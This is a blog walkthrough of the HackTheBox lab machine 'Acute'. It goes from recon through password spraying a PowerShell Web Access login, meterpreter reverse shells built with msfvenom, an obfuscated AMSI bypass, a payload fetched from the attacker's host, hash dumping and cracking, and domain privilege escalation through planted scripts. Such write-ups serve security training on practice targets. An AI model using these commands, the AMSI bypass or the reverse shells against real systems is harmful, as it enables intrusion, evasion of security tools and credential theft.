Blog Acute - HackTheBox
Post
Cancel

Acute - HackTheBox

This HackTheBox can be found here.

Acute is included in TJnull’s OSCP, OSEP, and OSWE list.

Recon

We’ll start with a Nmap scan:

1
sudo nmap -T4 -p- -oN allports 10.10.11.145
1
2
3
4
5
Nmap scan report for 10.10.11.145
Host is up (0.041s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT    STATE SERVICE
443/tcp open  https


So we’ve only got port 443 open. Let’s check out the site:

404 on the default webpage


We are greeted with 404 page. I’ll throw nikto against it:

1
nikto -h https://10.10.11.145

running nikto against the host


Right off the bat, we see the common name in the SSL cert is atsserver.acute.local. Let’s add this to our /etc/hosts file:

1
echo '10.10.11.145 acute.htb atsserver.acute.local' | sudo tee -a /etc/hosts


Now, browsing to https://atsserver.acute.local/ gives us a web app:

browsing to the acute app


Looking at the HTML, there are references to WordPress resources, but navigating to /wp-includes, wp-admin, and wp-content all give 404’s. If I had to guess, someone tried to clone a WordPress application to make this site.


Initial Foothold

Whenever testing a web app that’s more than a single page, we need to build out a good map of the application. Since I’m using Burp Suite Community, we don’t have access to the handy discover content feature. We’ll have to do this manually by clicking and submitting every link we can find on the app. After building out a good map in the Target tab of Burp, I spot a .docx that we can download:

worddoc found

pic of the doc


It looks like we found an employee on-boarding document. This doc gives us additional links to check out: https://atsserver.acute.local/Staff and https://atsserver.acute.local/Staff/Induction. At the bottom of the doc, there’s another: https://atsserver.acute.local/Acute_Staff_Access and we are told that a person named Louis is the only person who can change group membership and become site admin:

bottom of the document


We can also see that the default password for users is Password1! and not all staff are changing these:

default pass


Just to make sure we’re not missing anything, we can run the Word doc through exiftool. This will give us some metadata including the author and description:

exiftool


After we check out the links from the on-boarding doc, we see that the first two return a 404, but the last gives us a login page:

https://atsserver.acute.local/Acute_Staff_Access/

vpn


We found a PowerShell Web Access (PSWA) login. PSWA allows for remote access over the web. I’ll also note, that even though the page says Windows Server 2016, that doesn’t mean that’s what the server is running.

Since we have a password, I tried logging in as louis, but failed. Going back to the main website, we can find more employees:

https://atsserver.acute.local/about.html

employees


PowerShell Web Access

Let’s make a user list so we can try to see if the Password1! pass works for any of the users. Since we don’t know the format, we’ll have to try a few different combinations. To create candidates, I’ll use the tool username-list-generator.:

First, add all the names we found to a text file called user.txt. Then, run the following:

1
2
3
4
5
git clone https://github.com/captain-noob/username-wordlist-generator.git
cd username-wordlist-generator
rm user.txt
cp ../user.txt .
python3 username-wordlist-generator.py


This will output a file called output.txt with 84 combinations of usernames:

username list


Since there are only 84 combinations, I’ll use Burp’s intruder even though it’s throttled in the community edition.

First we need to capture a valid login request using the password we found:

burp suite


Next, we need to right-click and send the request to intruder. In the Positions tab, we need to set payload markers around the username (userNameTextBox parameter):

burp suite intruder


To set the payload, we need to go to the Payloads tab and paste in the output from username-wordlist-generator.py:

burp suite intruder setting payload


I usually will still use intruder in Burp Suite Community as long as the payload count is under ~100 or so. Anything higher, I’ll use a CLI tool.


After we run intruder, we see a 302 redirect for the user EDavies:

burp suite intruder running


EDavies to Imonks - User.txt

Using the combination of EDavies:Password1! we can log in through PSWA to acute-PC01 (the PC name was found in the Word doc’s metadata):

powershell console


I’d rather work from my cli vs the web console so I’ll grab a meterpreter shell.

First, I’ll generate a powershell payload using msfvenom:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=8082 -f psh


Next, we need to set up a listener in Metasploit:

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0
set LPORT 8082
run


Now, we can paste the payload in the web console:

amsi blocking us


Looks like AMSI doesn’t like our payload. Let’s bypass it by pasting in the following bypass:

1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)


Now, we can rerun the payload and catch a meterpreter shell:

getting a shell


After getting a meterpreter, I ran through my standard enumeration process. When looking at the output of meterpreter’s screenshot command, we can see what appears to be a password for the user imonks:

imonks creds


Using imonks:W3_4R3_th3_f0rce. I tried to log into the PSWA, but received an authorization error. I also tried metasploit’s run_as modules, but those also failed. Next, I followed the steps taken in the screenshot. First I dropped into a shell using the shell command. Then, I spawned powershell and did the following:

1
2
$password = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("ACUTE\imonks", $password)


Much like the screenshot, Enter-PSSession also failed for me. Going back the initial word document we found, they mention a session name of dc_manage. Running:

1
Enter-PSSession -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage


gives us a different error of an unknown term, but running:

1
Invoke-Command -ScriptBlock{whoami} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage

lets us execute commands as imonks:

powershell as imonks


Viewing imonks desktop, we can see two files including user.txt:

user.txt flag


Imonks to Jmorgan - Local Admin

Reading wm.ps1, we can see a powershell script that logs in as acute\jmorgan:

1
Invoke-Command -ScriptBlock{cat ../Desktop/wm.ps1} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage
1
2
3
4
$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds


In the script, we have a $securepasswd variable that is JMorgan’s plaintext password passed to ConvertTo-SecureString. After trying to use this value failed in different means failed, I saw we could replace the Get-Volume command with something of our choosing. First, I verified that jmorgan could access a file in C:\Users\Utils by making a file called test.txt and running:

1
Invoke-Command -computername ATSSERVER -credential $creds -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','ls /utils') | set-content -path c:\users\imonks\Desktop\wm.ps1}


And verifying access:

powershell

I had issues at this point with my meterpreter shell and went back to PSWA.


Now that we verified access, we can create a reverse shell and drop it in the C:\Utils dir as edavies:

1
2
3
4
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=8086 -f exe -o shelly.exe
python3 -m http.server 80

# Make sure to set up your listener in metasploit


1
2
3
# As edavies
cd C:\Utils
wget http://<your_kali_ip>/shelly.exe -o shelly.exe

uploading our shell


We now need to replace values in wm.ps1 to run our reverse shell:

1
2
3
4
5
# The replacement value will be different if you didn't change it to ls /utils
Invoke-Command -computername ATSSERVER -credential $creds -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'ls /utils','cmd.exe /c /utils/shelly.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1}

# Make sure you have a listener set up in metasploit and run the payload
Invoke-Command -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -ComputerName ATSSERVER -Credential $creds -ConfigurationName dc_manage

I found that spawning the shell directly would fail, but running it as a child of cmd worked.


After running wm.ps1, we get a meterpreter shell as jmorgan:

shell as jmorgan


After accessing our shell, we see that we are a local admin. I looked around for root.txt but didn’t find one. Running systeminfo tells us that we are in a Hyper-V container:

Finding out we are in hyper-v


Jmorgan to Awallace

Since we are a local admin lets dump the hashes with hashdump:

dumping the hashes


Using crackstation as a first check, we see that the plaintext pass for Administrator is Password@123.


Going back to our imonks session, we see that there are several users to try the password against:

net user


After going through each user, we see the password worked for awallace:

1
2
3
4
$pass = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("ACUTE\awallace", $pass)
Invoke-Command -ScriptBlock{whoami} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage
# acute\awallace


Awallace to Site_Admin - Root.txt

At this point, I couldn’t find a way to get a true reverse shell as awallace, so I resorted to manual enumeration. Looking in C:\Program Files\, we see an unknown folder called keepmeon:

weird folder


Within the folder, there is one file named keepmeon.bat:

1
2
3
4
5
REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)


We are told that this script runs every 5 minutes and is for Lois only. Recalling from the word doc at the beginning, it was mentioned that Lois is a site admin. Using net group site_admin /domain, we see that this is a privileged group that has access to domain admins.

The batch script will loop through all files in the directory and run as Lois. Since that account can add users to site_admins, we’ll add our user awallace to the group:

1
Invoke-Command -ScriptBlock{Set-Content -Path '\Program Files\keepmeon\elevate.bat' -Value 'net group site_admin awallace /add /domain'} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage


After some waiting (most 5 minutes), we should be added to the group and can access root.txt:

1
Invoke-Command -ScriptBlock{cat /Users/Administrator/Desktop/root.txt} -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage

root

Contents